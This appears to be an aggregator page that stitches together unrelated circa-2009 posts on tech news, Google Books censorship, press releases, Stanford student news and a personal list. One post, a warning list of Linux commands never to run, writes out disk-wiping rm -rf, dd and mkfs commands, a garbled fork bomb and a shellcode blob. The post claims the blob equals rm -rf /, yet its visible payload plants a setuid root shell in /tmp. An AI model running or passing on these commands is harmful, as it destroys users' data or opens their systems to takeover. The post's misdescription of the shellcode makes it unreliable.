Category: News

I write this with an icy sunrise view of Lake Michigan. Maxwell and I are in Chicago for some meetings, staying with some good friends who live in a wonderful, warm apartment with a big kitchen. But let’s not mince words: it’s freezing here.

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Stop panicking. It’s only a holiday and it comes every year. Seriously. Put down the credit card, and don’t worry about elbowing your way through a pile of sale sweaters. If there’s one thing you know people like, it’s food. So why not stay at home and make some edible gifts in your socks? Put on a winter-y mix of music and just cook your gifts.

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This week we updated our collaboration and social computing vendor evaluations. Specifically, we updated the following reviews:

• BlueKiwi
• ConnectBeam
• Google
• IBM
• Jive
• Lithium
• Socialtext
• Twitter
• WordPress

As always, our subscribers and recent customers will receive their updates automatically. You can also download a free sample of any of our evaluations.

Google’s obsession with speed is notorious and it’s evident in all of its products from the homepage to Chrome. And it’s not satisfied with making its own sites faster, it wants all the web to be faster. Google already has several projects focusing on this as well and is now launching a new tool for webmasters to provide them with rather detailed stats on the performance of their own sites.

“We’ve just launched Site Performance, an experimental feature in Webmaster Tools that shows you information about the speed of your site and suggestions for making it faster,” Sreeram Ramachandran, software engineer, and Arvind Jain, director, Faster Web program wrote. “This is a small step in our larger effort to make the web faster. Studies have repeatedly shown that speeding up your site leads to increased user retention and activity, higher revenue and lower costs.”

Google Site Performance is available in the Labs section of the tools. It shows webmasters the load speed of their sites and how it changed over time, but also how they compare to other sites, as well as examples of other pages and their load times. The point is to give website owners an accurate image of how their site performs and how it stacks up to other similar sites in order to help them improve it.

… (read more)

In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

• sudo rm -rf /
• rm -rf .*
• dd if=/dev/zero of=/dev/sda
• mkfs.ext3 /dev/hda
• whatever > /dev/hda
• cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
• find -type f -mtime +30 -exec mv {} /dev/null \;
• mv ~ /dev/null
• mv / /dev/null

2. Causes kernel panic or freezes Linux box:

• dd if=/dev/random of=/dev/port
• ){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

In Denmark, it is completely legal to make copies of commercial videos for personal backup or other private purposes. However, it is illegal to break the DRM on any dvd, which completely prevent the copying of any DVD.  They promised him a response, then didn’t respond. So now he’s reporting himself to the police. He wants a trial, so that the legality of the DRM-breaking law can be tested in court.

Last month, Henrik Anderson informed the Danish anti-piracy outfit Antipiratgruppen that he had broken the DRM on more than one hundred legally-purchased DVD movies and TV shows in the process of ripping his collection to his computer. This act is forbidden, but seemingly also allowed under Danish law, because the anti-piracy group never even responded to Anderson’s report.

Torn between the lawmakers in his country and the lawyers who represent the DVD companies, Anderson has decided that reporting himself directly to the police is the only way he’ll finally see what this law truly amounts to. Henrik feels that the circumstances he is trying to draw attention to can only be solved by him going to trial. Hopefully then, the Minister for Culture and the Danish parliament will see that the law has to be changed. Courtesy of torrentfreak.com

Yahoo just announced that it’s getting a lot more friendly with Facebook with a new level of integration across both sites. So, what better time for Google to announce an integration deal with Twitter than now? Google Friend Connect has a new login option now featured front and center in the sign in dialog, you guessed it, Twitter. Now Twitter users can log into any of the nine million sites using Friend Connect with their credentials from the microblogging site.

“Today, we’re bringing Twitter and Friend Connect even closer together. Now you can join one of over nine million Google Friend Connect sites using your Twitter login. Once signed in, your Twitter profile will be automatically linked and you can tweet your new site membership, share discussions from the comments gadget, and invite your friends via Twitter,” James Reilly from the Google Friend Connect team announced.

Don’t let the length of the announcement fool you, this is a big deal. Google may not be emphasizing the move too much, but this is a big victory for the microblogging platform and for social networking in general. You could argue that this is just another login option, among the many already available, but what it means is that Google is recognizing the power of one of the two rising stars in social media at the mome… (read more)

This is the fifth in a series of posts about the proposed Google Book Search settlement.

As we’ve explained in earlier posts, when it comes to evaluating the proposed Google Books settlement, the principal potential benefit to the public (increased access to books online) must be weighed against the potential drawbacks (impediments to competition, inadequate protection for privacy). Another potential downside for the public in the proposed settlement is the risk of censorship.

To understand the importance of this risk, keep two things in mind. First, while bookstores are entitled to pick and choose their inventory, Google Books hopes to be much more than a simple bookstore. In the words of Google’s CEO Eric Schmidt: “Imagine one giant electronic card catalog that makes all the world’s books discoverable with just a few keystrokes by anyone, anywhere, anytime.” In other words, Google Books will have many characteristics that we associate more with the research libraries from which its books are drawn than with traditional bookstores. Second, as Prof. Geoffrey Nunberg reminds us: “This is almost certainly the Last Library, after all. There’s no Moore’s Law for capture, and nobody is ever going to scan most of these books again.”

If Google’s scans under the proposed settlement are likely to be the only chance millions of books will have for a digital life, then the potential for censorship is something to be taken very seriously indeed. If the books can’t be found by researchers, it will be as though they were cast down the Memory Hole.

Censorship by Rightsholders

The biggest censorship risk created by the proposed settlement is from copyright owners. The proposed settlement gives rightsholders (until April 2011) the power to “Remove” their books from the Google Books corpus altogether. Once a book is removed, not only won’t you be able to read it online, you won’t even be able to find it using full-text search. In short, these books would simply cease to exist as far as users of Google Books are concerned, despite the fact that courts have ruled that indexing copyrighted works is a perfectly legal fair use. Moreover, even the libraries who contributed the book for scanning wouldn’t have a digital “backup” in their collections, as these removed books would also vanish from the digital copies that Google gives back to the research libraries (the “Library Digital Copies” and the “Research Corpus,” in the lingo of the settlement agreement).

Why would a rightsholder want to self-censor? First, remember that the author of a book is often not the rightsholder. As a result, the copyright in a book can be purchased and then used to suppress further publication (a trick Howard Hughes tried). Moreover, sometimes the author or author’s heir (or corporate successor) wants to suppress a work (Prof. R. Anthony Reese describes a number of historical examples of post-publication suppression efforts by authors and rightsholders in this article).

In the world of research libraries, of course, this kind of censorship is impossible—no research library would pull cards from the catalog and destroy copies of published works at the behest of those who own the copyright in those books. Yet this is exactly what the proposed settlement would permit for the “Last Library.” And most galling is that the settlement does not even require that a complete list of these “Removed” books ever be made publicly available (in Google’s web search, in contrast, Google includes entries for results that would have appeared, but for DMCA takedown demands, and makes those demands publicly available through Chilling Effects).

At a minimum, books that are “removed” should remain in the database for full-text search, and Google should remain able to offer a “Library Link” (i.e., a link that directs a researcher to a library where the book can be found).

Even more troubling is the possibility of selective alterations of the texts of the books themselves. In Section 3.10(c)(i), the settlement forbids Google “except as expressly authorized by the Registered Rightsholder” from altering the text of scanned books when displayed to users. That’s certainly a good thing, as far as it goes—we shouldn’t want Google to be able to go in and selectively edit books. But Google is allowed to selectively edit if “authorized” by the copyright owner. Why is this permitted? And if the rightsholder “authorizes” Google to make changes, can Google refuse to do so? Will the fact of alteration be publicly visible to the reader? The answer is not clear. But clearly the better rule is a prohibition on anyone making editorial alterations in the text of scanned books (again, no library would allow a copyright owner to selectively blackline books in the stacks). Any other option creates the chilling prospect of “revising history” as imagined in Orwell’s 1984.

Censorship by Google

The proposed settlement also gives Google a troubling degree of discretion when it comes to choosing which books will be publicly accessible. For example, Section 3.7(e) makes it clear that Google can exclude any scanned book it likes from public access “for editorial or non-editorial reasons.” If it excludes a book for “editorial reasons,” it must notify the Registry (but not the public), and the Registry may look for an alternative partner (“Third-Party Required Library Service Provider”) to host the book. There is nothing that requires the Registry to do so, nor any guarantee that such a partner will step forward.

In addition, in order to meet its obligations under Section 7.2(e) of the proposed settlement, Google need only make 85% of the books it scans from its library partners publicly accessible through full-text search, consumer purchase, or the institutional subscription database. Assuming that Google has already scanned approximately 8 million books that are in-copyright, that means Google can make more than 1.2 million of these books disappear from its publicly accessible services for any reason and still meet its obligations under the settlement. And, again, nothing in the settlement requires Google to make the list of omitted books available to the public.

Censorship by Government

Finally, it’s worth noting that governments will doubtless exploit the leeway that the settlement gives to both rightsholders and Google to pull books off the digital shelves of Google Books. It’s all too easy to imagine foreign governments pressuring their citizens to “remove” books from public access on Google. It’s also likely that foreign governments will pressure Google to omit books from Google Books. If that comes to pass, neither Google nor the rightsholders will be able to say that they are legally constrained by the settlement from complying short of legal process. Had the settlement agreement been written to forbid this kind of censorship, both rightsholders and Google could have responded to censorship demands by saying “come back with a court order.”

And, finally, remember that Google may, under the settlement, sell off the entire Google Books project. So even if you believe that Google would never cave to foreign governments or engage in selective censorship, keep in mind that 10 years from now, Google Books might be owned by an entirely different corporate master.

Wilson Instruments, an Instron® company and the originator of the Rockwell® Hardness Tester, is pleased to announce its new website – www.wilsoninstruments.com.

Showcasing Wilson’s brand new design and logo, the Wilson Instruments site offers many features to enhance the user experience. The site now highlights a featured product section on the home page that links to product specific pages. Designed to emphasize the machine’s features and accessories, the site incorporates full system and application-specific photos, equipment specifications, and targeted accessories. The user can easily view comparisons between similar models to find the right one for their application needs.

Additionally, the new Wilson Instruments site features thumbnails for easy navigation; downloadable PDFs for more information; a literature library for the most up-to-date Wilson Instruments brochures, manuals, and newsletters; a resource section to answer all your hardness testing equipment and application questions; and a news site to keep you up to date with Wilson Instruments.

Instron, a leading provider of testing equipment solutions designed to evaluate mechanical properties of materials and components, is pleased to announce its new Products Section on www.instron.com.

The site now incorporates a Product Showcase where customers can view Instron’s latest products and most popular testing systems; an easy-to-use product selection interface where customers can browse by Product Type, Test Type, or Capacity; and product quick views and thumbnails for user-friendly searching.

Additionally, pages are enhanced with large images, videos, and animations of our testing systems in action; and easy-to-access tabs for product software, literature, and accessories that link directly to our online accessories catalog.

Threatening electric shock hazards imposed by electric and hybrid vehicles can be minimised through new product development for Formula 1 Bender develops unique measurement methods

Protective measures against electric shock in electric vehicles have not received appropriate attention so far.

The Formula 1 accident at BMW showed the life threatening danger imposed by high battery voltages in electric and hybrid vehicles. The generally accepted and widely used measurement methods for insulation monitoring could not ensure adequate protection against electric shock and danger of fire when tested under varying hazardous conditions.

Bender has successfully developed a technically superior solution for insulation monitoring of the complete electrical drive system of electric vehicles: the new insulation monitoring device
A-ISOMETER® iso-F1.It only weighs 50 g and is already used in Formula 1 racing cars of the 2009 series.

It has shown an excellent performance and has successfully passed every test situation. Homologation was granted by FIA (International Automobile Federation).

The unique insulation monitor protects the driver, the mechanics and all other people involved against the hazards of electric shocks in any situation of the race and under all weather conditions. Furthermore, the risk of fire by sparks is significantly reduced.

Bender with its headquarters in Grünberg, Hesse; and representatives in more than 60 countries, is market leader for monitoring systems promoting electrical safety. For more than six decades Bender produces first-class products that enjoy an excellent reputation in almost all industries.

Besides a wide product range Bender also offers branch-specific solutions, such as for hospitals, mining, automation, chemical industry, engineering, ships, submarine, railway technology, as well as for wind and solar energy. With the A-ISOMETER® iso-F1 the company was able to develop a further special application for the growing market of electric and hybrid vehicles.

…which stands out due to its big performance and small footprint. It is perfectly compatible to the existing embedded controls from KEBA. The CP240 is based on the efficiency-optimized Intel Atom processors and thus offers high performance as well as low power consumption. It features an on-board graphics adapter with a DVI interface which helps save system costs. By supporting standard Ethernet as well as the real-time Ethernet protocols EtherCAT and SERCOS III and the CAN field bus, the CP240 represents an exceptionally versatile automation solution.

I love Google apps! I have blogged about it in the past, and personally use it for my Bauer-Power emails. The only problem with it is that Google only has options for plain text email signatures. Some of you might be cool with that, but I’m not. I like to add a little color with my signatures.

If you use Firefox, then you are in luck! There is a Firefox add-on that will let you create a custom HTML signature for Gmail, Google Apps, Yahoo mail, Hotmail and AOL. It is called WiseStamp.

Here is a video I grabbed from their site:

Here is a screen shot of from my editor:

After you make your customizations, WiseStamp automatically inserts you signature into new emails. Don’t forget to turn off your signature options within Gmail of Google Apps though, or you will get double signatures. Here is a screenshot of mine:

Know of any other ways to get HTML in Gmail or Google Apps? Perhaps a better Firefox extension? What about IE? Hit me up in the comments!

Gobaud learned of violation through clerical mishap

In an incident called “profoundly regrettable” by the vice provost for student affairs, student body president David Gobaud learned that his running mate, former vice president Jay de la Torre, faced possible suspension for a suspected Honor Code violation only after he was mistakenly handed de la Torre’s case file late this summer in the Judicial Affairs office, where he was serving as a panelist on another case.

The claim, confirmed by top University officials and de la Torre ‘10, has raised questions about how the Office of Judicial Affairs protects students’ privacy, as well as communication between de la Torre and Gobaud ‘08, M.S. ‘10 before and after their election, and Gobaud’s efforts as president to encourage reform to parts of the judicial process—efforts that he says were appropriate even after he learned that his vice president was in the Judicial Affairs process.

Gobaud offered the explanation last Friday in response to questions about when he learned that his vice president was alleged to have plagiarized code in a computer science class last fall—an Honor Code violation whose standard penalty is a quarter-long suspension and 40 hours of community service. De la Torre was found responsible of the violation by a Judicial Affairs panel, received the standard penalty, appealed it and was denied at a final hearing earlier this quarter. He resigned at a Nov. 11 meeting with student leaders and President Hennessy, and explained his suspension in a public statement the next day.

“I was shocked,” Gobaud said about the day in late summer when, he said, a Judicial Affairs staff member mistakenly handed him the wrong case file. He said when he opened it and saw de la Torre’s name on the paperwork, “my jaw dropped. The person who handed it to me, it was obviously like, ‘Wait a minute.’ I was like, ‘I don’t think I should have this.’ She took it back.”

Several top University officials have responded to the mistake that apparently tipped Gobaud off to his vice president’s case, which, like all Judicial Affairs cases, is promised in the University’s 1997 student judicial charter to be kept confidential by the office.

“It is clear that multiple parties made mistakes,” said University President John Hennessy in an e-mail to The Daily, although he stopped short of naming those parties.

Provost John Etchemendy called it “a less serious mistake than if [the office] lost the file, handed it to somebody who wasn’t on a panel,” but said the incident was still “a serious mistake.”

“I am aware that an extremely unfortunate error occurred when David, as a judicial affairs panelist, was given the wrong file in preparation for a hearing during the summer,” said Vice Provost for Student Affairs Greg Boardman in an e-mail to The Daily. “As you know, confidentiality in the judicial process is, and always has been, of utmost importance, and this mistake, while clearly unintentional, is profoundly regrettable.”

Gobaud has gone to lengths to explain the constraints he faced after learning about the case, noting that when he became a judicial affairs panelist last fall, he signed the standard confidentiality agreement saying that “information regarding any student’s disciplinary status is not to be discussed with anyone… outside the judicial hearing without the written authorization of the student.”

Gobaud said that agreement meant he could only seek advice about the incident from Judicial Affairs staff members and the associate vice provost who oversees Judicial Affairs, Christine Griffith. Griffith told The Daily that panelists are expected to take their concerns to office staff. Gobaud said he believed he could not take the issue to any other administrators.

The day he saw the case file, Gobaud said, “Jay and I talked, and he told me about his case.”

“David sat down with me because he was suspicious something was up, and I told him about my situation,” de la Torre said in an e-mail to The Daily. The two said they then started planning a transition for after de la Torre’s resignation, which took place some two months later.

“[Gobaud] was a good friend and respected my privacy, so he didn’t discuss the situation with anyone I wasn’t comfortable sharing it with,” de la Torre said. Gobaud maintains he would have faced a Fundamental Standard violation charge if he told anyone else about the case.

Confidentiality, Reexamined

Griffith sat down with The Daily and acknowledged that the mistake has prompted a review of confidentiality protocol in the Office of Judicial Affairs.

“I think given the weight of that responsibility that we feel in terms of confidentiality—that’s the highest charge we have in the office, no question,” she said. “Given how seriously we take that responsibility, sure, it’s huge when there’s a human error.”

She described the review process prompted by this summer’s incident, the likes of which have never, to her knowledge, happened before.

“We review what our protocols are, we try to determine, are there ways we can implement better protocols? And then we just reiterate the need [to staff] to continue to be as committed to that part of our work as we always have been,” Griffith said.

She said there have been no major protocol changes, but two practices have been reemphasized. One is requiring panelists to sign a confidentiality agreement, as Gobaud did.

“The fact that they agree when they volunteer to serve in this capacity to keep all information confidential is a big part of what we do,” Griffith said.

The second practice is the electronic document system the office switched to earlier this summer, which allows panelists to access case files on a secure server. Griffith said the system “serves us well.” Panelists can still request hard copies of case files, as Gobaud did for the case file he was supposed to pick up that day.

Jamie Pontius-Hogan, a judicial adviser who works in the office, explained the protocol for picking up file in person.

“We provided a kind of sealed envelope and they [the panelist] would walk into the front desk,” she said. “The person sitting at the front desk would say, you know, ‘I need to see your ID,’ and they’d sign the little sign-out form and sign out the form and take the packet.”

Despite the fact that someone apparently gave Gobaud the wrong case file that day, Griffith said she is confident about efforts to protect students’ privacy as promised in the judicial charter.

“No, I don’t have concerns about students’ privacy being at risk,” Griffith said. “I have all the confidence that we’re doing everything we possibly can to ensure that we don’t have a repeat.”

Vetting de la Torre

Gobaud and de la Torre have both offered descriptions of their communication before and after their election, and de la Torre has explained why, despite facing a possible suspension because of the plagiarism claim against him, he still ran.

“At the end of the day, I just wanted to help people,” de la Torre wrote in an e-mail to The Daily. “I always saw Stanford as this safe, perfect space. The stories I heard about students with mental health challenges feeling alone and stories [of] girls getting raped really got to me, and I wanted to do something about it.

“I’ve sat down and thought about whether or not running and staying despite everything I was going through was the right decision,” he added, “and I’m still struggling with that.”

He told The Daily three weeks ago, “I thought if I made my case—expressed my remorse—well enough to the judicial affairs panel, I could mitigate the consequences. I was very optimistic.”

Gobaud said that when he was evaluating de la Torre as a running mate last year, he did not ask him if he had any “outstanding judicial affairs.” Gobaud said he did, however, talk extensively with de la Torre about the time commitment necessary for student body executives, and “nothing ever came up that caused me to have any doubt that he would be able to fulfill his duty.”

At Tuesday’s ASSU Undergraduate Senate meeting, Gobaud also pointed to the Judicial Affairs language that indicated to him it was possible for de la Torre to delay a suspension.

According to the Judicial Affairs Penalty Code, “responding students are responsible for providing convincing evidence that a suspension would have an unduly harsh impact—for instance, intense and unavoidable public attention—for the Panel’s consideration. In rare instances, a quarter of suspension may be postponed for a quarter, or at the most, two quarters.”

Senator Alex Katz ‘12 asked, “Is this the reason, the sole reason, the announcement didn’t happen earlier?”

“This is one of the reasons,” Gobaud said. “He might have received an alternate sanction.”

“Did you really not advise him against that, telling him that was probably not a reasonable expectation?” Katz asked.

“I actually did tell him I didn’t think it was possible,” Gobaud said.

After an appeal this fall, de la Torre’s suspension remained set for winter quarter.

Of the 367 cases brought to Judicial Affairs between 2004 and 2007—most of which were heard, though some were dropped—one has ended with a reduced penalty after an appeal, according to statistics on the office’s Web site.

Gobaud’s Judicial Reform

Meanwhile, students at Tuesday’s Senate meeting pressed Gobaud on his efforts as president to encourage reform to parts of the judicial process, efforts that he says were appropriate even after he learned that his vice president faced suspension.

Gobaud said he wasn’t ready to specify what those efforts were, but later outlined them to The Daily.

He said he had begun talking to administrators who work in or oversee the Office of Judicial Affairs since the spring—and continued after learning about de la Torre’s case—regarding ideas to modify the judicial process.

One, he said, is to change the current practice of assigning the same judicial adviser to the “complaining party”—say, a professor or T.A.—and the responding student, which, he said, risks confidentiality breaches.

The other idea, he said, is creating a resource outside of the office to help students through the “inherently stressful” judicial process.

Gobaud said he sent an e-mail to President Hennessy, Provost Etchemendy and Vice Provost Boardman shortly after de la Torre’s public announcement, both explaining the situation and discussing his ideas.

“Seeing Jay go through the process helped shed light on the Judicial Affairs process” for him, he told The Daily.

He also called a meeting in early fall between some Senate and Graduate Student Council (GSC) members at his Munger apartment to discuss the Board of Judicial Affairs nominee issue that spurred weeks of disagreement in student government. There, too, he said he discussed his ideas for judicial changes.

At Tuesday’s meeting, Senator Zachary Warma ‘11, who is also The Daily’s columns editor, asked Gobaud, “You did not see how involving legislative bodies in a push against the Office of Judicial Affairs just as your number two is being reviewed under Judicial Affairs, how that comes off as circumspect?”

Gobaud said the meeting was to discuss the board matter, not the office.

The Senate unanimously approved Andy Parker ‘11 as Gobaud’s nominee to replace de la Torre as vice president. The group also voted 8-5 to approve Farah Abuzeid ‘10 as co-chief of the executive staff, formerly Parker’s position. Appointments, however, require a two-thirds vote, so Abuzeid remains unconfirmed by the Undergraduate Senate. She was approved by the GSC two weeks ago.

Devin Banerjee contributed to this report.

A bunch of folks have been submitting the recent Patently-O post by Martin Goetz, the guy who claims to have the first “software patent,” defending the concept of software patents. The argument boils down to pretty much the same argument we’ve heard a thousand times before: that what people create in software is no different than what they create in hardware — it’s just a different method of doing the same thing, and thus, software should be patentable. To some extent, I agree. Unlike some, I’m not in favor of making a specific “exemption” for software as not being patentable (though, I do question why or how something should be covered by both copyrights and patents, and also am curious how you can patent basic mathematics… but those are questions for another time).

Honestly, in reading through his arguments, what struck me is that there is no explanation for why even computer hardware should be patentable. It’s just taken for granted that computer hardware patents must be good, and since software is the equivalent of what’s done in hardware (not really true in many cases, but…), software patents must be good. But shouldn’t the original question be whether or not the hardware itself requires patents and whether or not that helps to “promote the progress of science and the useful arts”? Goetz never bothers to explain how any of these patents promote progress.

And, of course, the bigger point is whether or not it’s really true that software is just a different way of doing what you can do in hardware. In some cases, that’s true. In other cases, it’s not. Most software today is not just a different way of doing things that could be done in hardware, but involve things that couldn’t be done without software. How do you offer wireless email without any software? How do you do “one-click shopping” without software? What the article is really arguing is that because you could build software-functionality into hardware, you should be able to patent it, but perhaps that never should have been allowed to be patented in the first place?

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As the endowment tumbled by 27 percent, University officials vowed to maintain Stanford’s current financial aid system. Lesser known, however, was their promise to uphold the same policies for international students on financial aid.

According to Director of Financial Aid Karen Cooper, the University will uphold the same pledge in financial aid security to international students, who comprise approximately seven percent of the total undergraduate population.

The actual percentage of international students on aid is nearly half that of the total undergrads — approximately 25 percent of international students receive need-based aid directly from the University, compared to 48 percent of all undergraduates.

Resident vs. Nonresident Aid

The difference in financial aid distribution results from the lack of a need-blind admissions policy for international students.

Unlike for students holding U.S. Citizen or Permanent Resident status, admission officers must consider an international student’s ability to pay when making admission decisions.

According to Cooper, international students must indicate during the admissions process whether or not they will be applying for aid.

“If international students do not apply for aid at the time of admission, they do so with the understanding that they will not be considered for assistance from the University throughout their undergraduate career,” she wrote in an e-mail to The Daily.

Yet once international students do decide to apply for aid, they provide family financial data to the University, much as domestic students do.

According to the University’s financial aid Web site, both groups must fill out the CSS Profile when applying for aid. And while domestic students submit the Free Application for Federal Student Aid (FAFSA), international students submit the International Student Certification of Finances in the FAFSA’s place.

“We [then] attempt to make a similar analysis of the student’s family’s financial strength in order to determine eligibility for aid as we do with domestic students,” Cooper said.

Increasing Aid Numbers

Due to increased funding and donations over the past several years, the University has been able to admit an increasing number of international students with financial need.

“Over the last five to 10 years, we have steadily been increasing the number of international students admitted with aid eligibility each year, as funding from our very generous donors has increased for this purpose,” Cooper said.

While the University financial budget has swelled 85 percent since the 2005-06 academic year — the amount of total aid increased from $60.8 million to $112.5 million — the amount of institutional aid awarded to international students has also seen a 64 percent increase, from $5.5 million to $9.1 million, over this four-year period.

And just as it does with domestic students, the University relies on a combination of the endowment income, annual gift funds (The Stanford Fund) and general University funds to provide aid to international students who have demonstrated need.

One key difference in funding, however, is that the University does not receive any federal or state grant funds to pay for international student aid.

”Checking the Box”

Director of Admission Shawn Abbott maintained that the admissions process is not much different for international students than it is for domestic students.

“They still move through the same exact evaluation and selection process as all students,” Abbott wrote in an e-mail to The Daily, although he acknowledged that it is more competitive for international students who need aid to be admitted.

Many international applicants therefore do not apply for aid out of fear that it will affect their chances of admission into the University.

“With the need-blind financial aid, I would probably be somewhat unwilling to check that box [requesting aid] because I feel that might affect my admission,” said Fon Kulalert ’12, who attends Stanford on a Thai government scholarship. “I would think that as an international student, I would have to be super extraordinary for top American schools, like Stanford, to accept me and even pay for me to come here.”

Similarly, Kin Fucharoen ’12, who is on scholarship from the Aeronautical Radio of Thailand, an air traffic service provider for Thailand’s airspace, believes that his admission would have been affected had he requested aid.

“Given that Stanford cannot be need-blind for international students,” he said, “I would have felt reluctant to check the box requesting the aid because I would have felt that my application did not stand out enough for the admissions team to ignore my financial background.”

However, Pak Hin Lee ’12, an international student from Hong Kong, chose to apply for aid due to his financial need, even though he understood that his decision would increase the competition he faced in the applicant pool.

“It wasn’t at all a hard decision for me to apply for aid — even though I knew it would affect my admission — because it was basically impossible for my family to afford my studies here without any forms of aid or scholarship,” Lee said. “I was fortunate enough to be admitted, and Stanford guaranteed to provide me with financial aid that would meet my need.”

Strings Attached
International students who did not apply for University-funded financial aid, meanwhile, pay their University bill one of two ways: through outside scholarships or out of their own expenses.

Kulalert and Fucharoen had the privilege of receiving full scholarships from the Thai government, which allowed them to pay for Stanford without worrying about the financial aid application.

Many of the scholarships available for international students, however, come with constraints.

Although Kulalert’s scholarship covers her undergraduate and postgraduate tuition in full, she is required to return to Thailand for the same amount of time spent studying abroad. Likewise, Fucharoen had his major predetermined and must work at least 14 years for his sponsor.

Despite the many conditions of his contract, Fucharoen maintains that he may have abandoned the opportunity to leave Thailand for college if he did not have the scholarship, as the cost of attending Stanford is roughly six to seven times that of Thai universities.

“Some people may think 14 years is a lot, but I like [the] aviation industry, so getting to work in the air traffic service sector is more than I can ask for, hence I’m really happy with this deal,” Fucharoen said.

“Again, some people don’t like the life-bonding contract, but I think it’s a very good deal as long as you choose to apply for the sponsor that you really want to work for,” he added.

Other students in the international community rely on their parents to fund their education or find work to pay their own way through school.

“My parents paid for my tuition — actually, my mom pays the bulk of it,” said Shine Zaw-Aung ’11.

Some students also work while at Stanford.

“Many of us find various on-campus jobs to relieve the burden on living expenses,” Lee added. “After all, sometimes we may want to eat outside or watch a movie, and those cost money.”

What the Future Holds

Although Martha Trujillo, director of financial aid for the School of Medicine, indicated that the medical school had once discussed extending its need-blind financial aid policy to include international students, both she and Cooper cited the fallen endowment and current economic state as reasons why the University cannot do so at this time.

“There are no immediate plans to extend our need-blind admission policies to international students,” Cooper said. “The cost is prohibitive at this time.”

  

1. My middle name is Lynn.
2. I have one older sister and one younger sister.
3. I have 4 living children and one deceased child.
4. I have Fibromyalgia.
5. I have 8 birds; 1 is my daughter’s bird.
6. I love all animals.
7. I hate shopping.
8. I was born and raised in Vermont.
9. I graduated High School in 1988.
10. I’ve lived in Vermont, New Jersey, and currently reside in PA .
11. I went back to college when I was 36.
12. I have hyper mobile joints.
13. I became a Certified Nurses Aide in 2003.
14. I love to create graphics with Paint Shop Pro 9.
15. I talk in my sleep.
16. I used to sleepwalk when I was a child.
17. I love to watch baseball. Go REDSOX!
18. My African Grey parrot says, “Go Redsox!”
19. I believe in God.
20. I love to read all different genres.
21. But, my favorite genre is British Literature.
22. I knew my Great Grandfather!
23. And, my children got to meet their Great Great Grandfather before he passed away.
24. I love crossword puzzles.
25. I love to write.
26. I love to watch Holiday movies.
27. I hate talking on the phone.
28. I don’t believe in reincarnation.
29. I’m part Native American, from the Onondaga Tribe .
30. My favorite colors are green and pink.
31. Sometimes I see things in my head and they come true.  My kids don’t like this one, lol.
32. I have naturally wavy hair.
33. I collect stuffed bears.
34. I collect stuffed cows.
35. I want to visit Fenway Park someday soon.
36. I love the smell of lavender and sandalwood .
37. I crochet doilies, blankets, hats, etc.
38. I hate doing dishes.
39. But, I hate having dirty dishes in the sink.
40. I can’t believe that I’ve gotten this far on the list!
41. It’s taken me 2 days to come up with 40 things about me.  Which makes this now 41, lol.
42. I write articles.
43. I have gorgeous green eyes.
44. I love Lucy.  Lucille Ball was an amazing woman.
45. My children, ages 17, 12, & 11, still give me a hug and kiss every night before bed.
46. I’m watching the movie “Sleepless in Seattle” right now.
47. I can’t stand telemarketers calling me on Sundays! 
48. I don’t like to wear a lot of jewelry.
49. I wear one ring every day.
50. I very rarely wear earrings or necklaces.
51. I love house plants.
52. I love Audrey Hepburn.
53. I wear shoes as little as possible .
54. My favorite color for roses is peach & yellow, consecutively.
55. I’m allergic to bee stings and iodine.
56. I try to go for a walk every day.
57. I am moody, over-sensitive, and stubborn.
58. I am also kind, smart, funny, imaginative, empathetic, practical, creative, loving, conscientious, and optimistic.
59. My man rubs my back and feet every single day.
60. I love chocolate.
61. I’m addicted to Seattle’s Best Mocha.
62. I love Borders Bookstore.
63. I prefer Barnes and Noble bookstore, but, we don’t have one where I live.
64. I hate lying.
65. I Must have my coffee in the morning.
66. I’m not superstitious.
67. I don’t like odd numbers (slight OCD).
68. My “p” key is missing thanks to my cockatoo.
69. I’m going to buy a new keyboard real soon!
70. I wrote the answer # 100 about 20 questions ago.
71. Too many noises bother me.
72. My favorite actresses are: Sandra Bullock, Lucille Ball, and Audrey Hepburn.
73. I am not a very patient person.
74. I had almost no hair until I was 2 years old.
75. I don’t like the dentist.
76. I sleep a lot.
77. I finally got a new keyboard.
78. Ergo, I can “p” again.
79. I’m waiting for the first snowfall.
80. I love it when the kids get a snow day so we can play outside then warm up with cocoa and play board games.
81. I’d rather it be snowing rather than raining.
82. My better half was just made manager.
83. I love to go barefoot.
84. I can be very random.  As you can see by my answers. 
85. I know some American Sign Language.
86. My favorite pie is Pumpkin.
87. My bedroom is the last room that I clean.
88. I’m trying to quit smoking.
89. My family raised Black Angus cows.
90. It’s 2:30 am and I’m still awake.
91. I currently have writer’s block.
92. I’m a social drinker.  I never drink at home because of the children.
93. I can’t regulate my sleep pattern.
94. I love the smell of Autumn.
95. I dream in color. Hey, some people don’t.  Some don’t even remember any of their dreams.
96. I once caught a 21 1/2” lake trout while ice fishing on Caspian Lake in Greensboro, Vermont.
97. My favorite toy when I was little was “Charlie Bear”. It was a little brown bear that my Grandma Perkins sewed for me.
98. When it comes to furniture, I prefer real wood. Don’t ruin the natural beauty of it with paint, ugh!
99. It’s taken me 2 weeks to finish this thing!
100. I can’t believe that I actually finished this list.

Fall quarter, 114 Minor in Possession of Alcohol (MIP) citations were issued, up by nearly double from last year, according to a report from the Department of Public Safety (DPS). In contrast, alcohol-related medical emergencies during New Student Orientation (NSO) declined compared to last year.

DPS issued 62 MIP citations last fall quarter and 81 the year before last.

